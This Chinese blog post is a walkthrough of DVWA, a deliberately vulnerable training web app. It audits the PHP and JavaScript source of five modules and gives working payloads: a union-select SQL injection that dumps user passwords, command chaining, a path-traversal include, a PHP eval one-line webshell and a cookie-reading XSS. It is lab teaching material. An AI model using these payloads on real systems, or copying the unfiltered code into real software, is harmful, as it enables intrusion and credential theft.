DVWA审计

[PHP 源码审计基础]DVWA 的分析与测试

下载地址:DVWA - Damn Vulnerable Web Application

  1. sql injection

源码审计

<?php

if(isset( $_REQUEST['Submit'])){

    // Get input

    $id = $_REQUEST['id'];

    // Check database

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query) or die('<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>');

    // Get results

    while($row = mysqli_fetch_assoc($result)){

        // Get values

        $first = $row["first_name"];

        $last  = $row["last_name"];

        // Feedback for end user

        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

    }

    mysqli_close($GLOBALS["___mysqli_ston"]);

}

?>

PHP 的 REQUEST 变量在默认情况下包含了 GET,POST 和 COOKIE 的数组。由此可见源码对输入的 id 完全信任,没有做任何过滤。观察到接收的 id 的左右内容将会被直接放入一个 SQL 查询语句,使用 mysqli_query 函数用该语句对某个数据库进行查询。mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组,然后将查询到的数据输出。

攻击方法

判断注入类型

由于输入的数据 id 是数字,我们并不知道服务器将 id 的值认为是字符还是数字,因此我们需要先来判断是数字型注入还是字符型注入(虽然从源码看得出来)。当输入的参数为字符串时就称该 SQL 注入为字符型,当输入的参数为数字时就称该 SQL 注入为数字型。字符型和数字型最大的一个区别在于数字型不需要单引号来闭合,而字符型需要通过单引号来闭合。

首先我们先注入 “1'”,可以看到服务器回显出错了,而且从回显的信息我们也能看出多了一个单引号。

 

很明显的字符型注入,为了验证这一点,我们可以注入如下内容,服务器把所有的用户都回显到网页中了。我们稍微解释下为什么注入的内容能让服务器返回所有的用户名,SQL 查询一般需要 WHERE 语句来筛选我希望查询到的字段。第一个单引号闭合了 SQL 查询语句的单引号,理论上来说这个条件只有 id = 1 的用户信息能满足。但是这个时候我们加入了一个或运算 “1 = 1”,这个条件是恒成立的,而当查询到用户的 id != 1 时,SQL 就会判断 or 运算符后面的条件是否成立。由于 “1 = 1” 恒成立,因此无论是什么数据都是符合要求的,都会被回显。

Payload: 1' or '1' = '1

 

判断几列可控

接下来我们需要判断可查询的字段数,OEDER BY 子句可以对查询结果按某一列排序,我们可以使用该子句判断该表有几列是可控的。例如注入以下代码,发现按照第一列排序能够成功回显。注意这里要用到 “#”,该符号在 MySql 里面表示注释,能够把语句后面的内容注释掉,这里主要用来忽略查询语句后面的单引号。

Payload: ' or 1 = 1 order by 1 #

 

测试到第三列发现服务器报错了,这表示该表的前 2 列是可控的。

 

获取信息

Payload:1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #

 

2.Command Injection

命令注入攻击的目的是,在易受攻击的应用程序中注入和执行攻击者指定的命令。在这种情况下,执行不需要的系统命令的应用程序就像一个伪系统外壳,攻击者可以将其作为任何授权的系统用户使用。但是,执行命令的权限和环境与 web 服务相同。

在大多数情况下,由于缺少正确的输入数据验证,攻击者对例如表单、cookies、HTTP标头等进行操控,使得命令注入攻击成为可能。此攻击也称为“远程命令执行 (RCE)”。

源码审计

源码如下,php_uname(mode) 函数会返回运行php的操作系统的相关描述,当参数是 “s” 时操作系统名称。stristr() 函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),未找到所搜索的字符串返回 FALSE。在这里使用者 2 个函数,目的是为了区分 DVWA 搭建在什么系统上,因为 Windows 系统和 Linux 的 Ping 还是有区别的。不过对于最重要的传入的 ping 命令的参数 target,并没有进行任何过滤。

<?php

if(isset($_POST['Submit'])){

    // Get input

    $target = $_REQUEST['ip'];

    // Determine OS and execute the ping command.

    if( stristr(php_uname('s'), 'Windows NT')){

        // Windows

        $cmd = shell_exec('ping  ' . $target);

    }

    else{

        // *nix

        $cmd = shell_exec('ping  -c 4 ' . $target);

    }

    // Feedback for the end user

    echo "<pre>{$cmd}</pre>";

}

?>

攻击方式

在操作系统中,“&”、“&&”、“|”、“||”都可以作为命令连接符使用,由于网页没有对参数进行任何过滤,因此可以用连接符后面接上其他指令来执行。

 

  1. File Inclusion

有些 web 应用程序允许用户指定直接文件流的输入,或允许用户将文件上载到服务器。稍后 web 应用程序访问 web 应用程序上下文中用户提供的输入。通过这样种操作,web 应用程序允许恶意文件执行。

如果选择要包含的文件是目标计算机上的本地文件,则称为“本地文件包含(LFI)”。但是文件也可能包含在其他机器上,这样的攻击就是“远程文件包含(RFI)”。

源码审计

源码很简单,用 GET 方法接收文件路径,然后将其包含进来。服务器包含文件时,无论文件是否是 PHP 文件,都会尝试当做 PHP 文件来执行。如果文件内容确实是 PHP 文件,则会正常执行并返回结果,如果不是则会将文件内容回显到网页中,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

<?php

// The page we wish to display

$file = $_GET['page'];

?>

攻击方式

page 参数指的是文件路径,因此我们先传个不存在的文件名测试一下,看看有没有报错信息。传递 page 参数为 “1.php”,靶场报错并返回了文件所在的路径。

Warning: include(1.php): failed to open stream: No such file or directory in D:\DVWA-master\vulnerabilities\fi\index.php on line 36

Warning: include(): Failed opening '1.php' for inclusion (include_path='.;C:\php\pear;../../external/phpids/0.6/lib/') in D:\DVWA-master\vulnerabilities\fi\index.php on line 36

因此我们直接用相对路径,访问上两级文件夹下的 “fi.php'” 文件,构造出 payload。

?page=..\..\hackable\flags\fi.php

 

  1. File Upload

上传的文件对 web 应用程序来说是一个巨大的风险,许多攻击的第一步是上传攻击代码到被攻击的系统上,然后攻击者只需要找到方法来执行代码即可完成攻击。也就是是说,文件上传是攻击者需要完成的第一步。

不受限制的文件上载的后果可能不同,包括完全接管系统、文件系统过载、将攻击转发到后端系统以及简单的破坏。这取决于应用程序对上载的文件做了什么,和文件的存储位置。

利用文件上传漏洞,在目标系统(例如 phpinfo() 或 system())上执行任何 PHP 函数。

源码审计

<?php

if(isset($_POST['Upload'])){

    // Where are we going to be writing to?

    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

    $target_path .= basename($_FILES['uploaded']['name']);

    // Can we move the file to the upload folder?

    if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)){

        // No

        echo '<pre>Your image was not uploaded.</pre>';

    }

    else {

        // Yes!

        echo "<pre>{$target_path} succesfully uploaded!</pre>";

    }

}

?>

攻击方式

由于没有任何的过滤,因此我们可以直接上传一个小马。

<?php @eval($_POST['a']) ?>

直接上传,网页没有进行过滤,直接返回了上传成功的信息。

 

打开蚁剑,使用上传的一句话木马进行连接,直接 Webshell。此时可以随意访问服务器上的任意文件,进行任意操作。

 

  1. XSS(DOM)

跨站点脚本(XSS)攻击是一种注入攻击,恶意脚本会被注入到可信的网站中。当攻击者使用 web 应用程序将恶意代码(通常以浏览器端脚本的形式)发送给其他最终用户时,就会发生 XSS 攻击。允许这些攻击成功的漏洞很多,并且在 web 应用程序的任何地方都有可能发生,这些漏洞会在使用用户的输入,没有对其进行验证或编码。

攻击者可以使用 XSS 向不知情的用户发送恶意脚本,用户的浏览器并不知道脚本不应该被信任,并将执行 JavaScript。因为它认为脚本来自可信来源,所以恶意脚本可以访问浏览器并作用于该站点的任何 cookie、会话令牌或其他敏感信息,甚至可以重写 HTML 页面的内容。

基于 DOM 的 XSS 是一种特殊的反射型 XSS,通过将 JavaScript 隐藏在 URL 中。基于 DOM 的 XSS 将在页面呈现时被 JavaScript 拉出,而不是在服务时嵌入到页面中。这会使它比其他攻击更隐蔽,WAF 或其他保护读取页面正文时看不到任何恶意内容。

源码审计

if (document.location.href.indexOf("default=") >= 0) {

    var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);

    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

    document.write("<option value='' disabled='disabled'>----</option>");

}

document.write("<option value='English'>English</option>");

document.write("<option value='French'>French</option>");

document.write("<option value='Spanish'>Spanish</option>");

document.write("<option value='German'>German</option>");

我们看一下前端的代码,该页面是个下拉页面,用于选择默认语言。F12 打开,点一点 HTML 标签看到如下 JS 代码。document 表示的是一个文档对象,Location 对象包含有关当前 URL 的信息,href 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL。也就是说 “document.location.href” 的写法得到页面的 URL,而 indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置,这里用来判断 “default=” 是否在 URL 中。substring(start,stop) 方法用于提取字符串中两个指定下标之间的字符,然后存到 lang 变量中,decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码。document.write 是 JavaScript 中对 document.open 所开启的文档流操作的 API 方法,它能够直接在文档流中写入字符串。

选择下拉列表内容,选择的值会赋给 default 并添加到 url 的末尾,再将其传给 option 标签的 value 结点。也就是说我们可以注入一些 JS 代码进去,然后这部分会被包含到 lang 变量中,最终回显到页面上。

攻击方式

HTML DOM 有个 alert() 方法,用于显示带有一条指定消息和一个 OK 按钮的警告框。document.cookie 里面可以读到 cookie 信息,我们可以把 cookie 放在一个 alert() 生成的警告框中,回显时就会得到我们想要的信息了。注入的payload 如下所示:

<script>alert(document.cookie)</script>

 

注入 payload 之后,前端的代码中会加入下面这个节点。

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

旺仔Sec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值